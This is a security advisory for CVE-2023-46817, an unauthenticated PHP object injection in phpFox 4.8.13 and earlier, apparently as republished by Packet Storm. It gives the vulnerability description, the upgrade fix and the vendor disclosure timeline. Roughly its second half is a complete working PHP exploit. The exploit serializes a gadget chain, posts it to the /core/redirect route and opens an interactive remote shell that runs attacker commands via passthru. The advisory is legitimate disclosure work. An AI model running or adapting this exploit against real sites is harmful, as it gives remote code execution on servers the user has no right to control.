phpFox 4.8.13 PHP Object Injection

`--------------------------------------------------------------  
phpFox <= 4.8.13 (redirect) PHP Object Injection Vulnerability  
--------------------------------------------------------------  
  
  
[-] Software Link:  
  
https://www.phpfox.com  
  
  
[-] Affected Versions:  
  
Version 4.8.13 and prior versions.  
  
  
[-] Vulnerability Description:  
  
User input passed through the "url" request parameter to the   
/core/redirect route is not properly sanitized before being used in a   
call to the unserialize() PHP function. This can be exploited by remote,   
unauthenticated attackers to inject arbitrary PHP objects into the   
application scope, allowing them to perform a variety of attacks, such   
as executing arbitrary PHP code.  
  
  
[-] Proof of Concept:  
  
https://karmainsecurity.com/pocs/CVE-2023-46817.php  
  
(Packet Storm note: POC included at bottom)  
  
  
[-] Solution:  
  
Upgrade to version 4.8.14 or later.  
  
  
[-] Disclosure Timeline:  
  
[05/10/2023] - Vendor contacted through https://clients.phpfox.com  
[05/10/2023] - Vendor response stating "we currently do not have such   
security requirements"  
[06/10/2023] - CVE identifier requested  
[09/10/2023] - Vulnerability details shared with the vendor, stating the   
issue is quite critical  
[17/10/2023] - Vendor contacted again, asking for an update  
[18/10/2023] - Vendor response stating "this issue is fixed in our   
latest version (4.8.13)", but that's not the truth  
[26/10/2023] - Version 4.8.14 released  
[27/10/2023] - CVE identifier assigned  
[27/10/2023] - Public disclosure  
  
  
[-] CVE Reference:  
  
The Common Vulnerabilities and Exposures project (cve.mitre.org)  
has assigned the name CVE-2023-46817 to this vulnerability.  
  
  
[-] Credits:  
  
Vulnerability discovered by Egidio Romano.  
  
  
[-] Original Advisory:  
  
https://karmainsecurity.com/KIS-2023-12  
  
  
[-] Other References:  
  
https://docs.phpfox.com/display/FOX4MAN/phpFox+4.8.14  
  
  
--- CVE-2023-46817.php poc ---  
  
<?php  
  
/*  
--------------------------------------------------------------  
phpFox <= 4.8.13 (redirect) PHP Object Injection Vulnerability  
--------------------------------------------------------------  
  
author..............: Egidio Romano aka EgiX  
mail................: n0b0d13s[at]gmail[dot]com  
software link.......: https://www.phpfox.com  
  
+-------------------------------------------------------------------------+  
| This proof of concept code was written for educational purpose only. |  
| Use it at your own risk. Author will be not responsible for any damage. |  
+-------------------------------------------------------------------------+  
  
[-] Vulnerability Description:  
  
User input passed through the "url" request parameter to the /core/redirect route is  
not properly sanitized before being used in a call to the unserialize() PHP function.  
This can be exploited by remote, unauthenticated attackers to inject arbitrary PHP  
objects into the application scope, allowing them to perform a variety of attacks,  
such as executing arbitrary PHP code.  
  
[-] Original Advisory:  
  
https://karmainsecurity.com/KIS-2023-12  
*/  
  
set_time_limit(0);  
error_reporting(E_ERROR);  
  
if (!extension_loaded("curl")) die("[+] cURL extension required!\n");  
  
print "+------------------------------------------------------------------+\n";  
print "| phpFox <= 4.8.13 (redirect) PHP Object Injection Exploit by EgiX |\n";  
print "+------------------------------------------------------------------+\n";  
  
if ($argc != 2) die("\nUsage: php $argv[0] <URL>\n\n");  
  
function encode($string)  
{  
$string = addslashes(gzcompress($string, 9));  
return urlencode(strtr(base64_encode($string), '+/=', '-_,'));  
}  
  
class Phpfox_Request  
{  
private $_sName = "EgiX";  
private $_sPluginRequestGet = "print '_____'; passthru(base64_decode(\$_SERVER['HTTP_CMD'])); print '_____'; die;";  
}  
  
class Core_Objectify  
{  
private $__toString;  
  
function __construct($callback)  
{  
$this->__toString = $callback;  
}  
}  
  
print "\n[+] Launching shell on {$argv[1]}\n";  
  
$popChain = serialize(new Core_Objectify([new Phpfox_Request, "get"]));  
$popChain = str_replace('Core_Objectify', 'Core\Objectify', $popChain);  
  
$ch = curl_init();  
  
curl_setopt($ch, CURLOPT_URL, "{$argv[1]}index.php/core/redirect");  
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);  
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);  
curl_setopt($ch, CURLOPT_POSTFIELDS, "url=".encode($popChain));  
  
while(1)  
{  
print "\nphpFox-shell# ";  
if (($cmd = trim(fgets(STDIN))) == "exit") break;  
curl_setopt($ch, CURLOPT_HTTPHEADER, ["CMD: ".base64_encode($cmd)]);  
preg_match("/_____(.*)_____/s", curl_exec($ch), $m) ? print $m[1] : die("\n[+] Exploit failed!\n");  
}  
  
`